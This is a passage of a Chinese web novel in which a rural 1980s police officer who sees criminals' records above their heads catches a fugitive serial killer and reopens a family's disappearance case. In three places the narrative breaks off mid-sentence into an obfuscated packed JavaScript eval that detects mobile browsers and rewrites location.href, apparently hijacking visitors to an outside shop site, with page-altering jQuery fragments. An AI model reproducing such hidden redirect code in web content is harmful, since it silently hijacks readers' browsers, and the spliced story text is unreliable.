章强还没有缓过神来,这一巴掌打的他脚下一个踉跄,直接栽倒在了地上,脑袋磕在门槛上,发出巨大一道声响。 他趴在地上懵了好一会,才无比委屈的喊了一声:“爸?!” “吃吃吃!饿死鬼投胎啊你?!”章老大恶狠狠的瞪了章强一眼,嘴里不停的骂骂咧咧:“你是这辈子没见过吃的还是怎么的?丢人现眼的东西!” 他越想越气,还没等章强从地上爬起来,便一把拽住他的胳膊,连拖带拉的将人给带走了。 父子俩狼狈地出了门,章政霖目光幽幽的看向了章老二:“你还不走?要留着吃饭吗?” 章老二以前总觉得自己的这个便宜侄子有点畏畏缩缩的,上不得台面,可现在盯着人看的时候,却莫名的让他觉得有些瘆得慌。 难道这就是吃上公家饭以后的气势吗? 原本还想着这么多东西,他总能占着点便宜,可现在…… “不了不了,”章老二讪讪的笑着,拼命的摆着手:“我媳妇儿煮好饭了,我回家去吃。” 看着地上的那团污渍,章政霖准备拿扫把收拾,村长此时却将他叫到了一边:“霖娃子,你现在端上铁饭碗了,我们也都为你感到高兴,你奶奶也算是熬出头了。” “但是啊……”村长看了一眼来感谢的小宇的爸妈,语重心长的说道:“你这上班才几天,脚跟都还没站稳呢,可不能收受贿赂,万一被哪个眼红的捅到上面去,你这一辈子可就全毁了。” “叔,我明白的,”章政霖看着村长,满脸的认真:“东西我一会儿就让他们带回去。” 村长脸上的皱纹舒展开了一些,他轻轻拍了拍章政霖的肩膀:“我就知道,你是个好孩子。” 紧接着,他朝院子外面那些还围着不走的人群挥了挥手,扯着嗓子喊了一声:“行了行了,该回家吃饭的回家吃饭,该睡觉的睡觉,别在这儿围着了!” 人群散去,小宇的爸爸梁自民有些忐忑的看着章政霖:“小章同志,我们是不是给你添麻烦了?” “没有,”章政霖摇了摇头:“我大伯和二叔本来就是这样的性子,就算今天不来,他们改天也会找个别的由头,跟你们没关系。” 梁自民稍稍松了口气,但眉头还是拧着的,他看了一眼自己带过来的东西:“我是真的想要感谢你,所以拿的这些……” “这些我真不能收,”章政霖的语气严肃了起来:“我们有纪律,我要是收了,我这身衣裳可就穿不长久了。” 梁自民看着章政霖的目光中多了几分敬意:“我明白了,这件事确实是我思虑不周。” 他环顾了一圈这个破旧的屋子,从包里面撕了一张纸,写下了一个地址和电话号码:“小章同志,我是做房地产的,你跟老太太如果考虑搬家的话,可以随时联系我,我按成本价卖给你们。” 章政霖将那张纸条叠好,收了起来:“多谢了。” “别光顾着说话了,”小宇的妈妈帮着章奶奶把碗筷端上桌:“快来吃饭吧。” 章政霖引着梁自民坐在了餐桌上:“家常便饭,别嫌弃。” “不嫌弃,不嫌弃,”梁自民扒了一大口饭进嘴里:“比外面馆子里的还好吃呢。” 一桌子饭菜被吃得干干净净,连那碗青菜汤都被梁自民端起来喝了个底朝天。 奶奶收拾桌子的时候,笑得眼睛都眯成了一条缝:“下次还来呀。” 吃饱喝足以后,梁自民带来的那些东西原封不动的装上了车:“这些不收,锦旗总要的吧?” 章政霖笑着和他挥手:“当然,你可以多送我几面。” 一夜好眠。 第二天天还没亮,公鸡才叫了头一遍,章政霖就醒了。 简单的洗漱了一下,他走到墙角拿起担子,去井口那里把家里的两个水缸都给挑满了,又在锅里温了粥,这才骑上了自行车去上班。 到了派出所,院子里头静悄悄的,只有早上来开门的所长胡国庆的办公室里头有动静。 章政霖推门进去,胡国庆正端着搪瓷缸子喝茶,看到他来,抬了抬眼皮,慢悠悠地说:“市局那边的人下午才到,上午没什么大事,你该干嘛干嘛去。” 章政霖点了点头,拿上了户籍登记册塞进挎包里,继续完成人口普查任务。 镇子上的人口已经登记完了,今天要跑的是周边的乡村,村落里面重男轻女的思想更严重,很多女孩甚至连名字都没有,就直接大丫二丫的叫着,像一窝小鸡仔似的,排着队往下数。 有了之前的经验,章政霖现在改起名字来,也是非常的熟练了。 一个女人牵着自家的女儿,摸着圆滚滚的肚子:“叫王招弟,希望能招来一个弟弟。” 虽然现在已经实施了计划生育,但是在农村这种需要劳动力的地方,如果第一胎是女儿的话,还是允许再生一个的。 所以取招弟,盼弟,带弟这种名字的,简直数不胜数。 章政霖对着女人点了点头,面无表情的在登记册上写下三个字:王昭笛。 不久之后,一个男人漫不经心的说出了自家女儿的名字:“刘贱妹。” 章政霖也没有和他争辩,默不作声的在登记册上写:刘涧梅。 …… 名字改了一个又一个,中午的时候,太阳爬到了头顶,晒得田里的庄稼都打了蔫。 这个村子离家只有五六里的路,周围也没有什么吃饭的地方,章政霖便直接骑车回了家。 他推开屋门,便见奶奶坐在一个小板凳上,手里捧着一碗稀粥在喝,连咸菜都没有配。 看到章政霖回来,奶奶转身就往灶房走:“咋中午回来了,是不是肚子饿了?我这就做饭去。” 章政霖拦住了奶奶的去路:“怎么就吃这个?” 奶奶有些不好意思的低下了头:“你早上煮的粥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534024|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,没吃完。” “那就一起吃。”章政霖不由分说地系上了围裙,很快就把柴火给点燃了,手脚麻利的炒了一盘鸡蛋。 碗和盘子端上桌,章政霖知道奶奶不会夹鸡蛋吃,便将一大半的鸡蛋直接拨到了她的碗里。 “你吃你吃……”奶奶急得都有些磕巴了:“你上班辛苦,要多吃点,我一个老婆子,在家里又不动弹,喝点稀粥就行,吃这么好做什么……” 章政霖把筷子往桌子上一放,盯着奶奶的眼睛:“你要是不吃,我也不吃了。” 奶奶端着堆满了鸡蛋的碗,嘴唇哆嗦了好几下,终于夹起了一块鸡蛋放进嘴里,慢慢咀嚼了起来:“好吃……” 饭后,章政霖把碗筷洗了,锅刷了,灶台也擦得干干净净的。 提起挎包,准备出门的时候,章政霖忽然意识到,无论是他还是原主,似乎都不知道奶奶叫什么名字。 “奶奶,”章政霖轻轻唤了一声:“我今天做人口普查,你的信息还没登记呢,你叫什么名字?” 奶奶仿佛被突然按下了暂停键似的,整个人都愣住了。 她慢慢的转过身,喃喃自语:“我的名字吗?” 好像有几十年没有人喊过她的名字了吧…… 久到,她都有些忘却了。 这些年里,有人叫她章老四家的,有人叫她章老太,有人叫她妈妈,有人叫她奶奶…… 她的名字……似乎在她嫁人的那一刻,就彻底的不复存在了。 “陈秀英,”奶奶混浊的眼睛空洞的望着前方,重复了一遍又一遍:“陈秀英,我叫陈秀英……” “那么,陈秀英女士,”章政霖唇角微微上扬,无比郑重的喊出了奶奶的名字:“您的孙子现在要去上班了,晚上见。” 陈秀英站在原地,张了张嘴,最终却什么都没有说,只抬起手,冲着章政霖轻轻挥了挥。 自行车拐过一个弯,章政霖的耳边突然传来了一阵喧哗声。 前方不远处,有两个男人发生了争执。 其中一个人长得很是高大,看起来凶神恶煞的,说话的声音又粗又沉,隔着老远都能够感觉到那股凶狠的劲儿。 另外一个男人的个子则是要稍矮一些,他整个人珠圆玉润的,给人一种非常和善的面相。 一看到章政霖,那个矮胖的男人就仿佛是遇到了主心骨,立马冲了过来,满脸委屈地诉说道:“公安同志,公安同志,你可一定要为我做主啊……” 他抓着章政霖的车把,声音里甚至还带上了哭腔:“他把我的东西撞到山底下去了,全都摔烂了,不仅不赔给我,还要打我呢。” 矮胖男人看起来完全就是一个被逼急了,不得不找公安做主的老实人。 可章政霖却在他的头顶看到了一排排猩红的字迹。 那些字,在一片白花花的日光照耀下,清晰的不像话。 【丁敬山】 【男】 【32岁】 【1987年2月,于滨江市奸杀罗小曼】 【1986年12月,于滨江市奸杀毛翠翠】 【1986年4月,于东阳市奸杀魏思】 …… 【入狱记录:正在追逃中】 5. 第 5 章 “你放心,我肯定会给你做主,”章政霖的视线停在丁敬山的那张圆脸上:“不过这一时半会儿的,咱们也说不清楚,你跟我先去一趟派出所吧。” 章政霖话音落下的瞬间,丁敬山整个人都变得紧张了起来:“不不不……不用了,这点东西不值钱的,我自己处理就行,不麻烦公安同志了……” 壮硕的男人听到他说的这番话,把眼睛一瞪,整个人显得更凶了:“你刚才可不是这么说的。” 丁敬山连连摆着手:“我弄错了,是我弄错了,我不追究了,不行吗?” 他说着话,转身就要走。 可丁敬山才刚迈出第一步,手腕上就突然多了一只手。 章政霖微微侧着头,眼睛眯了起来:“你这是要去哪里啊?丁,敬,山。” 被叫破名字的刹那间,丁敬山整个人瞳孔骤缩,脸上那副老实人的面具也在这一刻碎的干干净净。 他眼神一狠,转手就要去捡地上的石头,试图把在场知道他身份的两个人全部都给弄死。 但章政霖的动作要比他快的多。 丁敬山顿觉的膝弯处一痛,整个人便直挺挺的跪在了碎石路上。 与此同时,章政霖扣住了他的肘关节,二话不说就将他的两只手反剪在了背后。 伴随着“咔哒”一声脆响,一副锃亮的手铐已经牢牢地扣在了丁敬山的手腕上。 章政霖的膝盖顶着丁敬山的背,幽幽的声音从他的头顶传来:“还想袭警不成?” 那语气轻飘飘的,可丁敬山却觉得自己浑身发冷,骨头缝都在控制不住的战栗着。 他逃了这么多年,隐姓埋名,生活好不容易安稳了下来,绝不能就这样被抓住。 丁敬山眼珠子转了转,开始胡搅蛮缠:“冤枉,我冤枉啊!!!公安同志,你认错人了,我不叫丁敬山,我是冤枉的……” 章政霖从背后把他薅起来,冷声道:“是不是冤枉你,跟我去了派出所,一切就都清楚了。” 壮硕男人看着这突然的反转,一时之间有些不知所措了,他下意识的挠了挠后脑勺,忐忑不安的问章政霖:“那个……公安同志,现在该怎么办?” 章政霖轻声回答:“你也跟着去派出所做个笔录。” 壮硕男人忙不迭地点头:“好好好。” 丁敬山到了派出所的时候,依旧在不停的嚷嚷着:“公安同志,你搞错了,你真的搞错了……” 派出所的院子里,几个人正站在走廊下说话,众人隐隐以一个三十岁左右的男人为首。 他正是市里派来接手案子的,刑侦大队的队长赵朗。 赵朗听到动静,转过头来看了一眼,随后又问胡国庆:“胡所,这是怎么了?” 胡国庆还没来得及开口,丁敬山立马就意识到,这个人应该是从上面来的,管事的,立刻张嘴大喊大叫了起来:“领导同志,冤枉,天大的冤枉啊!” 他用力的挣脱开了章政霖,往前跑了几步,“扑通”一声跪在了地上:“我就是想给自己讨个公道,我的东西被人撞到山底下去了,结果这个公安同志……” “他不分青红皂白的袒护撞了我东西的那个人,还把我给抓起来了,”丁敬山哭的一把眼泪,一把鼻涕的,如同是受了天大的委屈:“领导同志,你们该不会……官官相护吧?” 官官相护四个字一出来,在场所有人的脸色都沉了下来。 丁敬山跪在地上,肩膀一耸一耸的,看上去要多可怜有多可怜,要多无辜有多无辜。 “哥,你别听他胡说八道,”赵明从人群里挤过来,站在赵朗的面前,一字一句的解释道:“小章这个人,我还是很清楚的,他不会做这种事。” “嗯,”赵朗轻轻点了点头:“我也相信,一个不顾自身安危也要解救被拐孩子的同志,不会是一个坏同志。” 随后他来到章政霖的面前,唇角带着几分浅笑:“没事的,不要怕,告诉我发生了什么?” 迎着赵朗的目光,章政霖缓缓开口:“是这样的,他叫丁敬山,是一名逃犯……” 他一句话还没说完,赵明突然呼吸变重了几分:“在东阳市,滨江市等多个地方一共奸杀了八名女子的那个逃犯,丁敬山?!” 四年前,东阳市一名独居女性被人发现死在了自家的屋子里。 房间里面的所有的贵重物品全部失踪不见,死者还有被侵/犯的痕迹。 接到报案以后,警方迅速展开了调查,排查了死者周边的所有人,亲戚,朋友,邻居,同事…… 一个一个地排除,到最后却发现,竟然没有任何一个人符合嫌疑。 就在调查陷入僵局的时候,第二具尸体出现了。 紧接着是第三具,第四具,第五具,一个月之内,东阳市及周边的乡镇,接连出现了五具同样死法的女性尸体。 她们全部都是在被侵/犯后被杀害,家中贵重物品被洗劫一空,而且这些女性都有一个共同的身份:歌舞厅的陪酒女。 市里成立了专案组,把这些案子并案调查,他们在东阳市翻来覆去地查了好几个月,排查了上千个人,可嫌疑人却像是人间蒸发了一样,没有留下任何的痕迹。 直到一纸协查通报发过来,专案组才发现,凶手竟是跑到滨江去了。 在专案组调查的这几个月的时间里,凶手在滨江市又接连犯了三次案。 唯一值得庆幸的是,丁敬山奸/杀的第八名女性有金主,金主在她家门口安装了一个监控,虽然只拍到了半张脸,但却也让警方确认了嫌疑人。 不过等到他们找到丁景山的住址,上门抓捕的时候,却发现那里早已经人去楼空了。 于是,警方发布了通缉令,悬赏通告贴满了大街小巷。 到目前为止,丁敬山已经上了乙级名单,悬赏通告高达2000元。 可三年多的时间过去了,丁敬山没有再犯过一次案,人也彻底的消失不见,这个案子的档案全都被封存了起来,就这么成为了一桩悬案。 但是现在,章政霖却说他把丁敬山给抓着了。 顶着所有人震惊的目光,章政霖轻轻点了点头:“就是这个丁敬山。” 赵朗将丁敬山从头到脚打量了一遍,皱眉道:“这人似乎有些对不上……” “通缉令还有呢,我去拿,”赵明急急忙忙的跑了出去,没一会儿又飞奔而来:“诺,对比看看。” 通缉令上的照片就是当年监控拍到的半张脸,但是那张照片上的人很瘦,和眼前这个白白胖胖的人,似乎有些对不上。 赵朗若有所思的看着章政霖:“你怎么认出来的?” 章政霖一时之间有些词穷,他也没想过,在这个缺衣少食的年代,丁敬山还能在三年的时间内把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534025|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己吃的这么胖。 他总不能说是丁敬山脑袋上自己显示的,便只能硬着头皮解释:“这个案子我之前关注过……” “一个人可以胖,可以瘦,身形可以变,长相可以老,但有些东西是变不了的,比如五官的比例,眼睛之间的距离,颧骨的高低……” 章政霖一边说着,一边指向了通缉令上那双阴鸷的眼睛:“你们看这里。” 丁敬山把自己吃胖了以后,眼睛也被挤成了一条缝,平常的时候总是笑眯眯的,便让人瞧不真切眼睛的形状了。 可此时,将两双眼睛放在一起仔细的去对比,就会发现,它们其实是长得一模一样的。 赵明恍然大悟:“他这个眼皮的褶子,真的完全一样诶!” “而且……当年那个案子不是找着指纹了吗?回去对比一下不就知道了?”赵明底气十足的说道:“总不能因为长胖了,指纹也变了吧?” 赵朗看着弟弟这样,嘴角无奈的抽了一下:“先把人带回去。” 两名公安走上来,一左一右的架住了丁敬山的胳膊,将他所有求饶的话语都给吞没了去。 紧接着,赵朗又安排人把那几个人贩子也给装上了车。 临走之前,他拍了一把赵明的脑瓜子,带着几分恨铁不成钢的意味说道:“让你到基层锻炼了两年多,一点长进都没有,以后跟着小章多学学,知不知道?” 赵明被拍得脑袋往下一沉,反而乐呵呵地应了一声:“好的哥!” 话音刚落,他脑袋上又挨了一巴掌。 这一下打的比刚才还重,赵明有些委屈:“怎么还打我?我都答应了……” 赵朗瞪他一眼:“在公言公,叫什么哥?喊我赵队长。” “哦……”赵明蔫了吧唧的回答道:“知道了,赵队长。” 市局的人一离开,胡国庆便如同在看什么稀世珍宝似的,将章政霖好好打量了一番:“小章啊……好好干,你可得好好干啊。” 章政霖笑着应声:“好的,胡所。” 赵明冲着胡国庆的背影撇了撇嘴,跟章政霖小声嘀咕:“我来了两年多了,也没见胡所的态度对我这么好过。” 章政霖笑了笑,然后提起了另外一个问题:“赵队长是你亲哥?” “那当然了,”赵明很是骄傲的拍着胸脯:“我哥可是最年轻的刑警队长,破案那叫一个神速,你是不知道,当年……” 章政霖面带微笑地打断了他的滔滔不绝:“说起来,镇上卫生所的所长刘振华家人的失踪案,你了解吗?” “知道一点,但我没负责过这个案子,一时半会儿说不清楚……” 就在章政霖感到遗憾之际,赵明又大喘气的来了一句:“不过档案室归我管啊,我可以把档案拿给你看。” 章政霖:“……” “好。” 只是他有些疑惑:“她们失踪的时候不是在市里吗?这里为什么会有档案?” “刘振华当时确实是在市里工作,”赵明从档案袋里面抽出来几页纸:“但是他老婆孩子和丈母娘失踪之前,是来咱们城关镇了的。” 章政霖准备去接档案的手一顿。 因为始终没有找到尸体,所以这个案子也一直在按照失踪来处理。 可既然她们失踪在城关镇…… 那么尸体……会不会也在这里? 6. 第 6 章 因为人是在城关镇失踪的,这边的派出所帮着找过,所以档案上的资料还算详细。 泛黄的纸页上,密密麻麻的写满了走访记录,证人证言,排查名单……每一项都填得满满当当的,看得出来当年办案的人员确实下了很大的功夫。 刘振华作为第一嫌疑人,他的资料放在了最前面。 刘振华,1943年生人,祖籍在城关镇下属的禾木村,父亲在战争年代离世,母亲一个人将其拉扯长大。 1963年考上了滨江市医科大学,大学毕业以后,刘振华被分配到了滨江市第一人民医院,做了一名普普通通的外科大夫。 他的妻子杜美玲也是医院的一名医生,刘振华对其一见钟情,展开了非常热烈的追求,用了一年的时间,终于打动了杜美玲。 刘振华为了表明自己对杜美玲的爱意,竟然主动提出做上门女婿,入赘杜家。 章政霖微微眯了眯眼睛。 在那个讲究嫁出去的女儿泼出去的水的年代,主动放弃自己的姓氏,入赘到女方家里,可不是一般人能做到的。 他接着往下翻,果不其然,根据档案上的描述,刘振华是在和杜美玲喜结连理之后,才意外得知自己的老丈人竟然就是医院的院长。 刘振华对此大为震惊,甚至还直言道:“我若早知道杜院长是美玲的父亲,断不会主动提出入赘,免得旁人说我攀附权贵。” 杜文渊为了自己的女儿能够过得好,再加上刘振华也确实有几分本事,很快就开始提拔他。 不过才十几年的时间,刘振华就从一个普普通通的外科大夫,成为了一名外科主任。 这可是整个医院外科领域最高的职位,多少人熬白了头发,熬弯了腰都爬不上去,刘振华却在三十多岁的年纪,就把这个位置坐稳了。 在所有人的眼中,刘振华一直都是一个好好先生。 不少人嘲笑他是个赘婿,现在所拥有的一切全部都是靠老婆,他从来都不反驳,反而是笑呵呵的承认:“我就是个吃软饭的,有老婆才有我的今天,所以我要永远的爱我老婆。” 看到这里的时候,章政霖翻页的手微微顿了一下。 刘振华是整个村子里唯一的一个大学生,是山沟沟里面飞出来的金凤凰。 前世得益于互联网的发达,章政霖也是见到过很多吃绝户的凤凰男。 刘振华……很可能也是其中的一员。 章政霖侧眸看向赵明:“确定刘振华没有嫌疑吗?” “对,”赵明点了点头,很肯定的说:“杜美玲三人失踪的当天下午四点,有人看到她们在城关镇出现过,刘振华那天虽然没去医院,但是不在场证明非常的充足。” 赵明一边说着,还一边将档案翻到了证人的口供那里:“你看这里。” 章政霖顺着他手指所指的方向看了过去,却发现,每个证人的证词竟然都说的大差不差。 首先是包子铺的老板:“那天早上8点钟左右,刘大夫来我店里吃早饭,他坐在靠门口的位置吃的,吃完以后跟我他说今天休息,一会要去书店逛逛。” 紧接着就是书店的售货员:“上午10点左右,刘大夫来我们书店,买了一些医书。” 随后是人民公园门口下棋的大爷:“下午3点多,我孙子在公园走丢了,是刘大夫帮忙找回来的。” …… 这些证人的证词全部结合在一起,将刘振华那一整天所有的动线都描述的清清楚楚。 就仿佛是一块拼图似的,整整齐齐,完美无瑕。 “很详细吧?”赵明拉开椅子,一屁股坐在了章政霖的旁边:“刘振华的嫌疑已经排除了,杜美玲母女三人可能是被拐卖了,现在拐卖妇女的情况还是挺严重的,不知道我哥能不能从那些人贩子的口中问到他们的下落……” 章政霖却若有所思的说道:“你不觉得……这些证人的证词太过于严丝合缝了吗?” “啊?”赵明一时之间没有反应过来,他歪着脑袋看着章政霖,眼里带着几分迷茫:“不是恰恰说明刘振华确实干了这些事吗?” “不,”章政霖摇了摇头:“你看这些证言记录的时间,全部都是不一样的,过了这么久,他们却能够将当天发生的事情记得清清楚楚,不奇怪吗?” 赵明的眉头拧的更紧了:“好像确实诶……难不成他们说谎了?但也不可能这么多人同时说谎吧?” 章政霖思索了片刻,缓缓吐露出一句话:“蒙太奇式谎言。” 赵明正襟危坐,身子往前凑了凑:“蒙什么奇?那是什么?” 章政霖解释道:“蒙太奇,本来是电影里的一种剪辑手法,把不同时间,不同地点拍下来的镜头剪在一起,观众就会觉得它们是同时发生的,是有因果关系的。” “比如,先拍一个人举枪,再拍另一个人倒下,观众就会下意识的认为是第一个人开枪打死了第二个人,可实际上,这两个场景发生的时间地点完全不同。” “你是说……”赵明反复咀嚼着这段话里的每一个字:“刘振华可能确实做过这些事情,但不是在杜美玲三人失踪的当天做的?” 章政霖点头:“差不多。” “厉害了,”赵明沉思了片刻,眼睛又亮了起来:“你怎么就突然怀疑到刘振华了呢?” “那天在卫生院,跟小护士随口聊了几句,得知了他的情况,”章政霖一本正经的胡说八道:“我们村子里有个寡妇,年纪跟他相仿,我想着介绍一下,就随口问了一句,刘振华的反应……有些不太对。” 赵明震惊的张大了嘴巴:“你就从他的反应不太对,想到了这么多东西?怀疑杜美玲母女三人不是失踪,而是……命案?” “只是推测而已,”章政霖将那份资料合了起来,语气随意的说道:“更何况,我们现在也没找到尸体。” 赵明深以为然:“那我们要怎么找呢?” 毕竟过了这么多年了,但是一点线索都没有。 章政霖轻笑道:“先在咱们镇子上找。” 这会儿已经是半下午了,太阳也开始往西边沉,光线变得柔和了起来,拉长了院子里所有东西的影子。 再去村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534026|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里做户籍登记,也登不了几个人,章政霖便没有出去,而是留在派出所里,把之前登记到的资料重新整理了一下。 下班之后,章政霖没有直接回家,而是骑上自行车,前往了杜美玲母女三人最后消失的加油站。 按照刘振华所说,那天杜美玲开着车,带着母亲和女儿,是准备回刘振华的老家禾木村,去看望生病的孩子奶奶。 刘振华没有陪着一块去,是因为当天医院安排了一台手术,可那天早上,病人却趁着护士不注意偷偷吃了东西。 手术前必须要禁食,否则的话,胃内容物就会反流到肺里面去,严重的时候甚至会要命。 所以那台手术就挪到了第二天。 家里的车被杜美玲给开走了,刘振华再去话也赶不上了,再加上第二天还要上班,所以他就直接留在了滨江市,一整天都在外面转悠,还被许多人给目击了个正着。 可这个世界上,哪有那么多的恰到好处? 而且禾木村在城关镇的东南方向,这个加油站却在西南角,东南方向明明也是有一个加油站的,杜美玲为什么要绕这么一大圈来加油呢? 如果她并不是舍近求远,那她是为了什么? 章政霖来到加油站,找工作人员打听了一下情况。 城关镇拢共就这么大点地方,一年到头也发生不了什么特大的案件,所以即使过去了三年多了,工作人员对当时的情况记得还是蛮清楚的。 “她们开着一辆黑色的桑塔纳,车上有一个十几岁的小姑娘,还有一个老太太,那个老太太全程都臭着张脸,嘴里还骂骂咧咧的……” 工作人员所描述的情况,和档案上记录的没什么差别。 于是章政霖就问了另外一个问题:“除了公安以外,还有没有其他人来这里询问过这三个人的情况?” 工作人员思索了片刻:“好像是隔了几个月吧,有一个男的来问过,他长的……” 得知来询问的人正是刘振华,章政霖更加怀疑杜美玲当时来这里是有别的事情了。 “打扰了,谢谢您。”章政霖道了谢,骑着自行车在这附近转了起来,想要看看能不能发现什么有用的线索。 很快的,他的视野里面出现了一个小广场,此时太阳已经落山了,广场上的人也多了起来,大部分都是周围的居民,吃了晚饭以后出来纳凉聊天。 几个老人围在一张石桌旁边下象棋,一群妇女聚在花坛的旁边闲聊着什么,还有许多孩子叽叽喳喳的跑来跑去。 章政霖的目光在广场上扫了一圈,最后停在了一个年轻女人的身上。 女人的穿着打扮都比较新潮,长得也很漂亮,她怀里揽着一个三四岁大的男孩,正笑意盈盈的和身旁的人说着话。 晚风轻轻拂过,吹的她头顶的血字都微微晃了两下。 【白玲】 【女】 【28岁】 【1984年-1990年间,数次诈骗刘振华】 【1986年11月16日,协助埋尸】 【入狱记录:无】 7. 第 7 章 滨江市公安局的审讯室里,惨白的光线将整个屋子照得没有一丝的阴影。 丁敬山已经喊了许久的冤枉了。 从赵朗把他城关镇派出所带回来的那刻起,丁敬山就一直说认错人了:“你们看清楚,那张照片上的人那么瘦,我这么胖,我们怎么可能会是同一个人呢?” 他把自己那胖胖的身体蜷在审讯椅里,脸上的肥肉因为用力而不停的抖动着,眼泪也是说来就来:“而且我根本不叫丁敬山,我从小到大都叫丁大柱……” 丁敬山一直觉得自己的事情做的很隐秘。 更何况他现在有妻有子,生活顺遂,绝对不能被抓进去蹲大狱。 可赵朗却把一份盖了红戳的指纹对比报告推了过来:“你以为你改头换面,隐姓埋名,我们就抓不住你了?” 丁敬山整个人都懵了,他万万没想到,案子过去这么久了,案发现场的指纹竟然还保留着,甚至还和他现在的还比对上了! 但他只愣了一瞬,立马又开始痛哭流涕了起来,丁敬山发挥出了十成十的演技,哭得比刚才更加的投入:“不能怪我啊,我也是被逼无奈啊,我也是有苦衷的啊……” 赵朗一阵冷笑:“你害了八条人命,抢夺了那么多贵重物品,把自己吃成这个样子,潇洒的过了这么多年的好日子,你说你有苦衷?” 旁边一名做笔录的公安瞪了他一眼,凶巴巴的说道:“现在证据确凿,你如果再不老实交代,等待你的将是法律的严惩!” “不……我也不想这样的,”丁敬山浑身一哆嗦,开始声泪俱下的哭诉起来:“我妈……我妈她也是一个那样的女人。” 按照当时老家说法,那就是在外面卖的。 丁敬山的母亲也不知道他的亲生父亲是谁,生下他不久之后,母亲就直接撒手人寰了。 从小到大,身边所有的人,都说丁敬山有一个在外面卖屁/股的妈,纷纷瞧不起他。 丁敬山为此和别人打了无数次架,每次打完架,姥姥姥爷都会训斥他一顿:“你就不能安分一点,少惹点事吗?” 改革开放以后,丁敬山再也受不了周围的指指点点,一个人跑到了外面去学人家下海做生意。 可他没有学历,没有手艺,也没有半点本事,根本挣不了多少钱,一来二去的,都快三十岁的人了,却还是一事无成。 直到有一次,一个工地的工友带他去找乐子。 他看着那里面的女人在男人面前摇尾乞怜,陪酒卖笑,非但没有觉得快乐,反而是一股无名之火从胸腔里面一下子升腾起来,烧的他眼睛都在滴血了。 他想到了自己早逝的母亲。 她们都是一样的没有自尊!不自爱!给一点钱就开始卖笑,为了那么点钱,什么事情都愿意干! 所以他才会是一个父不详的野种,才会从小被人看不起,才会一辈子抬不起头! 在这一刻,丁敬山把这些年所有的不得志,那些冷嘲热讽,那些白眼,全部都归咎在着自己的母亲身上。 无尽的恨意瞬间占领了他的脑子。 杀了她们,杀光她们! 她们都该死! 于是丁敬山挑了一个当晚笑得最灿烂的陪酒女,跟着她去了她的出租屋,拿枕头捂死了她,又对着她的尸体发泄了一通。 那一瞬间,丁敬山的灵魂得到了一种前所未有的放松。 临走的时候,丁敬山看到了陪酒女手腕上戴着的一块手表,看起来不像一个便宜货,他下意识的将其揣进兜里,然后又将陪酒女出租屋里所有的贵重物品都搜刮一空。 他没想到的是,那块手表竟然能卖那么多钱。 他住进了之前从来不敢正眼看的高档酒店,吃了之前从来没有吃过的山珍海味,日子过得仿佛是梦一样。 可是没多久,这些钱就花光了。 体验到了来快钱的感觉,丁敬山再也没有办法像以前一样去下苦力,挣那么一点微薄的收入了。 于是他开始重复之前的行为,接连杀了八个陪酒女,直到最后一个陪酒女门口的监控拍到了他。 丁敬山害怕极了,仓促之间变卖自己身上所有的东西,逃回了老家。 之前在外面行走的时候,丁敬山不想再和过去扯上关系,所以给自己改了一个新的名字。 老家没有人知道他在外面做的那些事情,就算知道了,也不会把丁敬山这三个字和他联系到一起。 他又变回了那个老实巴交的丁大柱。 他假装成在外面赚了大钱的样子,衣锦还乡,请了全村人一起吃饭,村长还给他介绍了一个踏实肯干的姑娘当媳妇。 那点钱,在城里可能算不得什么,可是在这个村子里,却是一笔巨款。 结婚以后,丁敬山就再也没有出去工作过,像个大爷一样吃吃睡睡,硬生生把自己吃成了一个胖子。 没有人知道,他兜里那些钱,是用八条人命换来的。 说完自己犯案的全过程,丁敬山还在努力的为自己辩解:“我不是故意的……” 他咬着牙,脸上横肉不停的哆嗦,眼睛里面全是恨:“都是那些女人!她们都是贱人!是她们逼我的!” 赵朗一双眼睛直勾勾的看着他,满脸的冷意:“她们根本都不认识你,怎么逼你?” 丁敬山恨那些在歌舞厅里上班的女人,只因为自己的母亲也做了那一行,否则的话,他就不会被人欺负,就不会吃那么多的苦。 简直是可笑至极。 赵朗毫不留情的把丁敬山内心最阴暗的一面给指了出来:“你恨的不是他们不自尊,不自爱,你恨的,是你自己站不到居高临下的位置!” “所以选择了最容易的方式,爬到她们身上去,当你的人上人,”赵朗幽幽的看着丁敬山,一字一句:“你拿那些东西卖了钱,吃好的,穿好的,你觉得自己终于不再是那个被人瞧不起的野种了,你终于可以扬眉吐气了……” “呵……你以为你赢了吗?”赵朗发出了一声冷笑:“你只会拿无辜的女性撒气,把自己喂成一头肥猪。” “你就是个彻头彻尾的懦夫!” 他的声音不高不低,可每一个字都清清楚楚的砸在了丁敬山的耳朵里。 